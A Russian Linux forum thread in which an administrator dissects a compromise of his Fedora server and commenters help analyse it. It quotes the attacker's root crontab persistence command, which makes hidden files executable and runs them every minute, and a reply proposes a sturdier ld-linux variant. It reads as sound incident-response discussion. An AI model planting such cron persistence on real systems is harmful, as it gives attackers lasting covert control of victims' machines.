LINUX.ORG.RU

Албанский вирус?

 ,


0

1

Обнаружил сегодня очень странную штуку.

Кто то вписал в крон рута следующее:

@reboot /bin/sh -c "(cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '$HOME' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history')); "
* * * * * /bin/sh -c "(cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '$HOME' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history')); "

Соответственно, после ребута и примерно раз в минуту запускаются на исполнение файлы /var/tmp/apt.log и ~/.bash_history

Положил /var/tmp/apt.log

/root/trouble/apt.log                                                                                                                              271/271               100%
#!/bin/sh

rm -rf /root/.bash_history

LOG=$(mktemp -p /tmp apt-XXXX.log)
SID=$(ps -o sid= -p $$)

echo "pid:$$" >> ${LOG}
echo "SID:${SID}" >> ${LOG}

ps --forest -o pid=,tty=,stat=,time=,cmd= -g ${SID} >> ${LOG}

ps --forest -o pid=,tty=,stat=,time=,cmd=  >> ${LOG}

и сразу стало понятно, откуда ноги:

  1113 ?        Ss   00:00:00 /usr/sbin/crond -n
  14370 ?        S    00:00:00  \_ /usr/sbin/CROND -n
  14406 ?        Ss   00:00:00      \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root' &&
 [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14407 ?        S    00:00:00          \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root
' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14408 ?        S    00:00:00              \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/
root' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14411 ?        S    00:00:00                  \_ /bin/sh ./apt.log
  14416 ?        R    00:00:00                      \_ ps --forest -o pid=,tty=,stat=,time=,cmd=

При этом файлы остаются с битами исполнения, от повтора истории появляется куча странных эффектов и т.д. и т.п.

Система федора, а используется apt.log, что сразу красный флаг. При этом в /var/tmp обнаружился исполняемый yum.log представляющий собой исполняемый бинарный файл с зависимостями только на libz. В общем, похоже на взлом не особо умными людьми. Прикола ради проверил на вирусы онлайн, нет, никто не опознал.

Никто не встречал такого? Система свежая, особо попадать там было неоткуда.


Ответ на: комментарий от Bass

Это бы конечно помогло от конкретного данного вируса, но не отменило бы сам факт компрометации. А ещё некоторый софт туда штатно временные бинарники кладёт для запуска, он сломается. Так что для систем общего назначения не очень хорошее решение. Для специализированных - возможно.

firkax ★★★★★
()

В общем, похоже на взлом не особо умными людьми

Т.к. тебя взломали, то ты ещё менее умный

rm -rf /root/.bash_history

Скорее всего, ты не всё заметил. Почти наверняка через него приходят команды

router ★★★★★
()
Ответ на: комментарий от usermod

Там bash_history нет. Не хочешь же ты сказать что он просто для прикола твою настоящую историю баша запускал? Наверно в нём тоже не оригинальное содержимое а вирусный код.

firkax ★★★★★
()
Ответ на: комментарий от router

Хм, выходит apt.log тоже должен меняться т.к. в текущем виде он сначала удаляет bash_history а потом пытается его запустить. Либо там так - на него вешается chattr +i, rm не срабатывает, а вот запускалка из крона срабатывает, а в следующую минуту он уже без immutable и удаляется.

firkax ★★★★★
()
Ответ на: комментарий от firkax

сперва надо выяснить откуда оно прилетело.

что за ось. когда обновлял. не взломали ли поставщика обновлений. что за софт торчит в интернет. уязвимости.

можно попробовать поймать по второму разу.

ckotctvo
()

Добро пожаловать в клуб похаченых

Но у тебя что-то совсем всё простенько. Чего оно хоть делало?

LINUX-ORG-RU ★★★★★
()
Последнее исправление: LINUX-ORG-RU (всего исправлений: 1)

сполняемый yum.log представляющий собой исполняемый бинарный файл с зависимостями только на libz

openSSL криптография сертификаты работа с мейлом WELLKNOWN:ANONYMOUS зашитые шаблоны путей в ФС

Ищи дальше (не может это быть «фсё»)

master_0K
()
Ответ на: комментарий от firkax

Не хочешь же ты сказать что он просто для прикола твою настоящую историю баша запускал?

я сверху уже говорил, что писали явно не очень умные люди.

Именно это он и делал.

Собственно вся катавасия началась, когда у меня из за этих повторов истории началась полная фигня в системе. Он начал создавать симлинк. Я удаляю, он создает. Начал разбираться и в конце концов набил reboot, оно попало в историю и начался bootloop.

вошел через инит и вставил rm -rf /root/.bash_history чтобы оно загрузилось.

К вирусу относятся два файла - кронтаб и yum.log Остальное логи и отладка.

usermod
() автор топика
Последнее исправление: usermod (всего исправлений: 1)
Ответ на: комментарий от firkax

apt.log это мой файл. Я написал его, чтобы понять, кто его запускает. Так и вышел на крон и обнаружил, как он запускается.

rm -rf /root/.bash_hhistory я вставил, чтобы он загружался нормально

usermod
() автор топика
Ответ на: комментарий от master_0K

Судя по всему, этот вирус/червь тестировали на дебиан. Вирус явно был в /var/tmp/yum.log, а запустить пытался /var/tmp/apt.log

Я уж не говорю, что в системе этот скрипт прям висел гирляндами - десятки копий /bin/sh

usermod
() автор топика
Ответ на: комментарий от ckotctvo

Проверил, забыл скинуть в /etc/ssh/ свою политику, в которой запрещаю вход по паролям и руту вообще.

Так что как зашли понятно.

В системе все файлы остались оригинальными.

Максимум, вставил в sysctl.conf vm.nr_hugepages=1280

На 100% не уверен, но я этот файл в норме не трогаю, да и страницы там вроде никчему.

usermod
() автор топика
Ответ на: комментарий от firkax

Я смотрел посмотрел ps -aF и там глаз зацепился за apt.log в cmd

Этого файла не было. Я его создал и в логе увидел дерево процессов, которые пытались его запустить.

Немного смущает /usr/sbin/CROND это нормально? Такого файла тоже нет, а в дереве он есть.

usermod
() автор топика
Ответ на: комментарий от firkax

Его не было.

Подозреваю, адбанский вирус создал /var/tmp/yum.log , потому что это редхат система. А в кроне все равно был вызов apt.log

Поэтому вирус и не работал.

usermod
() автор топика
Ответ на: комментарий от firkax

Не знаю, плюс я вобще не понял:

Я удаляю, он создает. Начал разбираться и в конце концов набил reboot, оно попало в историю и начался bootloop.

вошел через инит и вставил rm -rf /root/.bash_history чтобы оно загрузилось.

То есть, как словив постоянный ребут можно понять, что дело именно в .bash_history? И куда вставил rm ...? Почему просто не удалить зайдя «через инит», а именно куда-то записать команду на удаление?

mky ★★★★★
()
Ответ на: комментарий от usermod

Мне кажется я где-то уже видел как какой-то демон, возможно даже крон, менял своё имя в списке процессов на заглавные буквы. Хотя на текущей системе такого нет. Но можешь проверить ls -al /proc/12345/exe (12345 - нужный pid) покажет какой там бинарник на самом деле был запущен.

firkax ★★★★★
()
Ответ на: комментарий от mky

То есть, как словив постоянный ребут можно понять, что дело именно в .bash_history? И куда вставил rm …? Почему просто не удалить зайдя «через инит», а именно куда-то записать команду на удаление?

да все уже было сделано. Уже был скрипт apt.log, в котором я сохранял дерево, но там изначально была неудачная фильтрация процессов из за чего я сразу не увидел cron во главе всего.

Я его перезагрузил, словил бутлуп, вошел, посмотрел в хистори, понял откуда что и вставил удаление истории, чтобы больше его не ловить и вообще мало ли что там я еще напишу…

скрипт /var/tmp/apt.log

!/bin/sh

rm -rf /root/.bash_history <-------------------вот

LOG=$(mktemp -p /tmp apt-XXXX.log)
SID=$(ps -o sid= -p $$)

echo "pid:$$" >> ${LOG}
echo "SID:${SID}" >> ${LOG}

ps --forest -o pid=,tty=,stat=,time=,cmd= -g ${SID} >> ${LOG}


ps --forest -o pid=,tty=,stat=,time=,cmd=  >> ${LOG}

usermod
() автор топика
Последнее исправление: usermod (всего исправлений: 1)
Ответ на: комментарий от firkax

Да сейчас уже не посмотришь. Я вот про это usr/sbin/CROND

Что-то где-то помнится, что это норма. Но черт знает. Все бинарники в системе проверены по md5, все оригинальное.

   1113 ?        Ss   00:00:00 /usr/sbin/crond -n
  14370 ?        S    00:00:00  \_ /usr/sbin/CROND -n
  14406 ?        Ss   00:00:00      \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root' &&
 [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14407 ?        S    00:00:00          \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root
' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14408 ?        S    00:00:00              \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/
root' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
  14411 ?        S    00:00:00                  \_ /bin/sh ./apt.log
  14416 ?        R    00:00:00                      \_ ps --forest -o pid=,tty=,stat=,time=,cmd=

usermod
() автор топика
Ответ на: комментарий от usermod

Да, нормально. В списке процессов отбражается argv[0], а не исполняемый файл. Можно при запуске (exec()) сделать любое отображаемое имя бинарника. А можно, как делает crond, менять его после запуска, просто записывая в argv[0] новое значение, главное не большего размера. Вроде, есть патчи ядра, запрещающее последнее.

crond (может не все его разновидности) делают это, чтобы в списке процессов crond потомок, выполняющий задачу, отличался от crond-родителя, главного демона. Чтобы утилиты, отслеживающие по выводу ps, что crond живой, видили по имени crond (маленькими буквами) именно главный процесс, а не его потомки. Это что-то древнее, код кочует из одного крона в другой, видимо так принято.

mky ★★★★★
()

в .bash_history рута что лежит?

CROND - это нормально, это форк основного crond, который запускает задачи, нужно это для того, что б параллельно обрабатывать записи от разных пользователей.

anonymous
()
Ответ на: комментарий от anonymous

https://www.virustotal.com/gui/file/f7bea33922d25be6858e420fc64c6e6c9f4204ef48c702a17028b8f8cf2eab33/detection - я сам загрузил.

тебе повезло, низкий уровень детекта, но явно малварь.

если сделать strings ./yum.log | egrep -i 'openssl|curl|zlib|protobuf|sqlite|boost|fmt|glog|gflags|krb', видно, что он слинкован статически как минимум с openssl, libcurl и, возможно, MIT Kerberos libkrb5. Хотя, последнее, может, и части openssl, мне некогда сейчас проверять. Плюс, видны ссылки к sshd.

Так что я б сказал, что это троян, скрывающий процессы и ворующий креды из ssh. Скорее всего, или управляется по http, отстукиваясь на C2 сервер, или просто аплоадит находки по http, без управления.

Я бы посмотрел на историю http соединений с этого сервера.

anonymous
()
Ответ на: комментарий от anonymous

Во первых, на сервере нет секретов sshd

Во вторых, этот файл никогда не запускался. Это как в истории с Линусом, надо патчить, чтобы он работал.

usermod
() автор топика
Ответ на: комментарий от anonymous

Да обычная история команд. Из за этого все и началось. Из за постоянных повторений истории система вела себя как сумасшедшая. Это еще совпало с моими экспериментами с btrfs, так что изначально подумал на нее. Убрал, а оно продолжает симлинки создавать и прочую ерунду, которая в хистори была. Вот я офигел, удаляю симлинк, а он обратно через минуту всплывает…

Начал разбираться, inotify, auditd привлек и раскопал.

usermod
() автор топика
Ответ на: комментарий от usermod

Недотестили – бывает. Вот он и проявился.

У тебя логи есть? journalctl и смотри где они наследили. У него (вируса) в коде шаблон зашифрованного сообщения – я думаю не заглушка, часть функционала. Там много чего есть, я поверхностно смотрел (может не всё работало). Может поймешь когда и с чего началось.

master_0K
()
Последнее исправление: master_0K (всего исправлений: 1)
Ответ на: комментарий от mky

А у кого так, кроме альпайн?

Да нет, они же ставили флаг иммутабле, чтобы не меняли. В целом подход интересный, просто неряшливый и забагованный. Уж снимать атрибут х после запуска можно было? Файл yum.log и .bash_history светятся как елка, а ведь оба в норме ее должны быть исполняемыми.

usermod
() автор топика
Ответ на: комментарий от usermod

ставили флаг иммутабле,

Я вижу только chattr -i, что снимает атрибут иммутабле. Непонятно что за система, что там исходно эти файлы immutable, но на всякий случай снимали, чтобы chattr отработал.

Уж снимать атрибут х после запуска можно было?

Да его вобще можно было не ставить, можно просто запускать bash на выполнение команд из файла.

Понятно, что скрипт кривой, и, возможно, писаный ChatGPT, но одно дело ставить -x на файл, а другое дело выполнять .bash_history, в котором в обычном линуксе (bash — login shell) может быть что угодно, в том числе выполняющиеся долго команды. Тогда за минуту это задание не выполняется и начинается рост числа процессов, система встаёт раком и всё быстро обнаруживается. Или наоборот, содержимое .bash_history перезаписано командами администратора.

А у кого так, кроме альпайн?

Не знаю, сейчас дистрибутивов развелось немеряно. Плюс, может crontab редактировался не вручную, а не менее кривым скриптом, который должен определить систему и определить в каких файлах можно спрятаться. Ну и скрипт криво определил, а должен был, допустим yum.log и .zsh_history...

mky ★★★★★
()
Ответ на: комментарий от mky

Я вижу только chattr -i, что снимает атрибут иммутабле. Непонятно что за система, что там исходно эти файлы immutable, но на всякий случай снимали, чтобы chattr отработал.

Моя ошибка. Я этот атрибут ставил только раз в жизни на /etc/resolv.conf и уже забыл, что минус, это не опция.

Да его вобще можно было не ставить, можно просто запускать bash на выполнение команд из файла.

Вот и меня фрустрировал идиотизм написанного. Что мешало вместо вот этой портянки:

/bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root' &&
 [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));

Написать простое и надежное:

/lib64/ld-linux-x86-64.so.2 /var/tmp/apt.log || /lib64/ld-linux-x86-64.so.2 /root/.reserved_copy

Понятно, что скрипт кривой, и, возможно, писаный ChatGPT, но одно дело ставить -x на файл, а другое дело выполнять .bash_history, в котором в обычном линуксе (bash — login shell) может быть что угодно, в том числе выполняющиеся долго команды. Тогда за минуту это задание не выполняется и начинается рост числа процессов, система встаёт раком и всё быстро обнаруживается. Или наоборот, содержимое .bash_history перезаписано командами администратора.

Все так и было. Десятки процессов м повторное выполнение моих команд. Ладно, можно отпускать ситуацию.

usermod
() автор топика